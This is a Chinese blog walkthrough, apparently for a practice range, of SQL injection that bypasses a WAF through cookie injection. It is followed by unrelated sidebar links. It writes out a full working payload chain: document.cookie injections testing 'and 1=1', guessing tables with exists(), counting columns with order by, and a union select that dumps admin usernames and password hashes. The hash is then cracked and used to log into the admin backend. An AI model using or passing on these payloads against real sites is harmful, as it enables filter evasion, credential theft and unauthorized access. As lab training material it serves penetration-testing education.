当前位置:网站首页>第二章:遇到阻难!绕过WAF过滤!【SQL注入攻击】
第二章:遇到阻难!绕过WAF过滤!【SQL注入攻击】
2022-07-26 19:32:00 【野马菲比】
遇到阻难!绕过WAF过滤!
靶场:http://kypt8004.ia.aqlab.cn/
1、判断是否存在注入,发现有过滤
2、一般cookie传参不会被过滤,尝试利用cookie注入:
document.cookie="id="+escape("171")
回车;然后url中去掉id传参,http://kypt8004.ia.aqlab.cn/shownews.asp,回车,回显正常即可:
3、判断是否存在注入:
document.cookie="id="+escape("171 and 1=1") 回显正常
document.cookie="id="+escape("171 and 1=2") 回显异常

说明存在注入;
4、判断表:
不知道库名怎么办?
就一个库,无需知道。
不知道表名怎么办?
爆破 and exists(select * from表名),如果页面返回正常,就存在这个表
exists这个函数就是检查子查询能否查询到数据,如果能会返回一个True。
如果不知道字段怎么办?
偏移注入。
document.cookie="id="+escape("171 and exists(select * from admin)")
回显正常;说明存在admin表
5、判断列:
document.cookie="id="+escape("171 and exists(select username from admin)")
document.cookie="id="+escape("171 and exists(select password from admin)")
回车,url继续重新访问,回显正常,即存在username、password列名:

6、判断字段数:
document.cookie="id="+escape("171 order by 10") 回显正常
document.cookie="id="+escape("171 order by 11") 回显异常
说明存在10列

7、判断回显位:
document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,0 from admin")

8、寻找具体数据:
document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,0 from admin")

根据md5的特征,猜测为md5加密;解密为:welcome
9、登录后台:
边栏推荐
猜你喜欢
随机推荐
一维数组定义与使用
阿里三面:MQ 消息丢失、重复、积压问题,如何解决?
小公司小而美的产品,如何突围?
计算机专业面试题目总结,总导航
20220725 tree array introspection
Impersonate authentication
数字化工厂的优势有哪些
谷歌的新编程语言被称为 Carbon
Kingbases SQL language reference manual of Jincang database (16. SQL statement: create sequence to delete)
如何同步等待多个异步 task 的返回结果 ?
Kingbasees SQL language reference manual of Jincang database (20. SQL statements: merge to values)
被罚「带薪休假」一个月后,谷歌解雇了「爱」上 AI 的他
EasyCVR设备管理列表页面,分页数据不显示的问题修复
Typescrip异步函数Promise使用
破题数据中心绿色可持续发展
Parallel execution (II). Multiprocessing
tf.GraphKeys
如何实现一个能处理海量数据的异步任务队列系统(至尊典藏版)
Vite 配置 Eslint 规范代码
消息队列知识点总结









